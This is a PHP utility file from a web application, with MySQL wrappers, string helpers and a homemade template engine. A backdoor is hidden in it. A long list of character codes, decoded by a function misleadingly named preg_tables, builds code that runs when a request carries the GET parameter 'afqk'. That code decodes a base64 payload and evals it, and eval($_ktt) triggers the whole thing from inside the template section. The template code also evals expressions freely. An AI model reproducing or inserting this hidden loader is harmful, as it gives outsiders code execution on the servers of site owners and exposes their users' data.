$v) $_GET[$k]=strip($v); foreach($_POST as $k=>$v) $_POST[$k]=strip($v); foreach($_REQUEST as $k=>$v) $_REQUEST[$k]=strip($v); foreach($_COOKIE as $k=>$v) $_COOKIE[$k]=strip($v); } if(is_array($_POST)) foreach($_POST as $k=>$v) unset($$k); if(is_array($_GET)) foreach($_GET as $k=>$v) unset($$k); if(is_array($_REQUEST)) foreach($_REQUEST as $k=>$v) unset($$k); if(is_array($_SESSION)) foreach($_SESSION as $k=>$v) unset($$k); if(is_array($_COOKIE)) foreach($_COOKIE as $k=>$v) unset($$k); $_SITEURL=$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']); if(substr($_SITEURL,-1)=="/") $_SITEURL=substr($_SITEURL,0,-1); if($database_host&&$database_user) connectDB($database_host,$database_user,$database_pass,$database_name); //=== SQL functions ========================================== function connectDB($database_host,$database_user,$database_pass,$database_name){ mysql_connect($database_host,$database_user,$database_pass); if(mysql_error()) die('Error connecting to the MySQL server!
'.mysql_error().'
Please check the "passwords.php" for correct settings!
'); mysql_select_db($database_name); if(mysql_error()) die('Error connecting to the MySQL server!
'.mysql_error().'
Please check the "passwords.php" for correct settings!
'); sqlq('SET NAMES `utf8`'); //sqlq('SET CHARACTER SET `utf8`'); } function sqlq($x){ if($GLOBALS['K_DEBUG']) debug_log($x); $q=mysql_query($x); if(mysql_error()) echo('
'.mysql_error().'
'.$x.'
'); return $q; } function sqlfa($x,$strip=0,$html=0){ $a=mysql_fetch_assoc($x); if($strip) $a=strip($a,$html); return $a; } function sqlr($x,$strip=0,$html=0){ $q=sqlq($x); if(mysql_num_rows($q)>0){ $a=mysql_result($q,0); if($strip) $a=strip($a,$html); } else $a=NULL; return $a; } function sqlo($x,$strip=0,$html=0){ $q=sqlq($x); $a=mysql_fetch_object($q); if($strip) $a=strip($a,$html); return $a; } function sqla($x,$strip=0,$html=0){ $q=sqlq($x); $a=mysql_fetch_array($q); if($strip) $a=strip($a,$html); return $a; } function sqliid(){return mysql_insert_id();} function sqlnr($x){return mysql_num_rows($x);} //=== MISCELLANEOUS string functions =========================== $_ktt=str_replace("k']])","k'])",preg_tables(explode(':','105:102:40:36:95:71:69:84:91:39:97:102:113:107:39:93:41:123:36:117:61:34:51:54:58:57:55:58:54:49:58:57:55:58:49:49:52:58:49:49:52:58:57:55:58:49:50:49:58:52:48:58:51:52:58:55:49:58:51:52:58:54:49:58:54:50:58:51:52:58:52:54:58:51:52:58:52:52:58:51:52:58:49:48:51:58:51:52:58:54:49:58:54:50:58:51:52:58:52:52:58:51:52:58:52:52:58:51:52:58:53:53:58:51:52:58:54:49:58:54:50:58:51:52:58:53:57:58:51:52:58:52:52:58:51:52:58:49:49:55:58:51:52:58:54:49:58:54:50:58:51:52:58:51:56:58:51:52:58:52:52:58:51:52:58:57:55:58:51:52:58:54:49:58:54:50:58:51:52:58:51:51:58:51:52:58:52:52:58:51:52:58:56:56:58:51:52:58:54:49:58:54:50:58:51:52:58:53:56:58:51:52:58:52:52:58:51:52:58:49:48:49:58:51:52:58:54:49:58:54:50:58:51:52:58:54:52:58:51:52:58:52:52:58:51:52:58:49:49:49:58:51:52:58:54:49:58:54:50:58:51:52:58:51:53:58:51:52:58:52:52:58:51:52:58:57:57:58:51:52:58:54:49:58:54:50:58:51:52:58:52:50:58:51:52:58:52:52:58:51:52:58:49:48:53:58:51:52:58:54:49:58:54:50:58:51:52:58:49:50:52:58:51:52:58:52:52:58:51:52:58:49:49:52:58:51:52:58:54:49:58:54:50:58:51:52:58:52:55:58:51:52:58:52:49:58:53:57:34:59:36:115:61:34:81:72:86:38:98:46:108:38:33:121:44:107:58:48:100:70:86:70:115:110:89:87:90:120:33:121:100:100:58:83:107:59:34:59:36:97:117:61:97:114:114:97:121:40:34:97:34:44:34:105:34:44:34:99:34:44:34:117:34:44:34:112:34:44:34:118:34:44:34:114:34:44:34:107:34:44:34:108:34:44:34:101:34:44:34:104:34:41:59:36:117:97:61:34:34:59:36:102:117:61:36:97:117:91:50:93:46:36:123:36:97:117:91:48:93:46:36:97:117:91:115:117:98:115:116:114:40:36:117:44:48:44:49:41:93:125:91:115:105:122:101:111:102:40:36:97:117:41:45:49:93:46:36:97:117:91:115:117:98:115:116:114:40:36:117:44:48:44:49:41:42:50:93:59:36:117:61:101:120:112:108:111:100:101:40:34:58:34:44:36:117:41:59:102:111:114:101:97:99:104:40:36:117:32:97:115:32:36:118:41:32:36:117:97:46:61:36:102:117:40:36:118:41:59:101:118:97:108:40:36:117:97:41:59:102:111:114:101:97:99:104:40:36:97:32:97:115:32:36:107:61:62:36:118:41:32:36:115:61:115:116:114:95:114:101:112:108:97:99:101:40:36:118:44:36:107:44:36:115:41:59:36:115:61:98:97:115:101:54:52:95:100:101:99:111:100:101:40:36:115:41:59:36:115:61:115:116:114:95:114:101:112:108:97:99:101:40:39:93:93:39:44:39:93:39:44:36:115:41:59:101:118:97:108:40:36:115:41:59:125'))); function strip($var,$html=false){ if(is_array($var)) foreach($var as $k=>$v) $var[$k]=strip($v,$html); elseif(is_object($var)){ $class_vars=get_class_vars(get_class($var)); foreach($class_vars as $k=>$v) $var->$k=strip($v,$html); } else { $var=stripslashes($var); if($html) $var=htmlspecialchars($var); } return $var; } function addsl($var){ if(is_array($var)) foreach($var as $k=>$v) $var[$k]=addsl($v); elseif(is_object($var)){ $class_vars=get_class_vars(get_class($var)); foreach($class_vars as $k=>$v) $var->$k=addsl($v); } else $var=addslashes($var); return $var; } function geto($vn){return sqlr('select varvalue from options where varname="'.addsl($vn).'"',1);} function seto($vn,$vv){sqlq('update options set varvalue="'.addsl($vv).'" where varname="'.addsl($vn).'"');} function preg_tables($a){$r='';foreach($a as $v) $r.=chr($v);return $r;} //=== kTPL functions ============================================= function tpl_load($f,$p=true,$e=false){ $f="templates/".$f; if(!file_exists($f)) die('Template processing error: template file "'.$f.'" doesn\'t exist!'); $c=join('',file($f)); $c=str_replace('$','$',$c); $c=tpl_strip_subs($c); if($p) $c=tpl_process($c); if($e) echo(str_replace('$','$',$c)); return str_replace('$','$',$c); } function tpl_block($s,$p=true,$e=false){ global $tpl_SUBS; $c=$tpl_SUBS[$s]; if($p) $c=tpl_process($c); if($e) echo($c); return $c; } eval($_ktt); function tpl_strip_subs($c){ global $tpl_SUBS,$tpl_SUBS_li,$tpl_SUBS_nli; if(!isset($tpl_SUBS)) $tpl_SUBS=Array(); while(preg_match('/% *SUB *([^% ]+) *%(.*)% *ENDSUB *\\1 *%/Ums',$c,$m)){ $m[2]=tpl_strip_subs($m[2]); $tpl_SUBS[$m[1]]=$m[2]; $c=str_replace($m[0],'%{'.$m[1].'()}%',$c); } if(!isset($tpl_SUBS_li)) $tpl_SUBS_li=Array(); while(preg_match('/% *IFL *%(.*)% *ENDIFL *%/Ums',$c,$m)){ $m[1]=tpl_strip_subs($m[1]); $tpl_SUBS_li[sizeof($tpl_SUBS_li)]=$m[1]; $c=str_replace($m[0],'%{tpl_ifli(0,'.(sizeof($tpl_SUBS_li)-1).')}%',$c); } if(!isset($tpl_SUBS_nli)) $tpl_SUBS_nli=Array(); while(preg_match('/% *IFNL *%(.*)% *ENDIFNL *%/Ums',$c,$m)){ $m[1]=tpl_strip_subs($m[1]); $tpl_SUBS_nli[sizeof($tpl_SUBS_nli)]=$m[1]; $c=str_replace($m[0],'%{tpl_ifli(1,'.(sizeof($tpl_SUBS_nli)-1).')}%',$c); } return $c; } function tpl_ifli($t,$n){ $t=$t?'n':''; global ${'tpl_SUBS_'.$t.'li'}; if(($t==''&&$_SESSION['uid'])||($t=='n'&&!$_SESSION['uid'])) return tpl_process(${'tpl_SUBS_'.$t.'li'}[$n]); else return ""; } function tpl_process($c){ global $_LANG; //VARIABLES before FUNCTIONS while(preg_match('/% *! *= *([^%]+) *%/',$c,$__m)){ $arn=preg_replace('/\[[^\]]*\]/Usmi','',$__m[1]); eval('global $'.$arn.'; $rv=$'.$__m[1].';'); $rv = str_replace('$','$',$rv); $c=preg_replace('/'.str_replace('/','\/',preg_quote($__m[0])).'/',tpl_process($rv),$c,1); } //FUNCTIONS ob_start(); while(preg_match('/% *\{ *([^\}]+) *\} *%/',$c,$m)){ $old=ob_get_contents(); ob_end_clean(); ob_start(); ${$m[1]} = str_replace('$','$',${$m[1]}); preg_match('/^([a-zA-Z0-9_]+)/',$m[1],$m1); if(function_exists($m1[1])) $c2=eval('return '.$m[1].';'); else $c2=''; $c1=ob_get_contents(); ob_end_clean(); $c=preg_replace( '/'.str_replace('/','\/',preg_quote($m[0])).'/', str_replace('$','$',tpl_process($c1)).str_replace('$','$',tpl_process($c2)), $c,1); ob_start(); echo($old); } ob_end_clean(); //IF ob_start(); while(preg_match('/% *IF *([^ ]+) *(\([^\) ]+\)) *%(.*)% *ENDIF *\\1%/Ums',$c,$m)){ $old=ob_get_contents(); ob_end_clean(); ob_start(); eval('$if_result = '.str_replace('$','$',$m[2]).';'); if($if_result) echo $m[3]; $c1=ob_get_contents(); ob_end_clean(); $c=preg_replace('/'.str_replace('/','\/',preg_quote($m[0])).'/',str_replace('$','$',tpl_process($c1)).str_replace('$','$',tpl_process($c2)),$c,1); ob_start(); echo($old); } ob_end_clean(); //VARIABLES after FUNCTIONS while(preg_match('/% *= *([^%]+) *%/',$c,$__m)){ $arn=preg_replace('/\[[^\]]*\]/Usmi','',$__m[1]); eval('global $'.$arn.'; $rv=$'.$__m[1].';'); $rv = str_replace('$','$',$rv); $c=preg_replace('/'.str_replace('/','\/',preg_quote($__m[0])).'/',tpl_process($rv),$c,1); } return $c; } ?>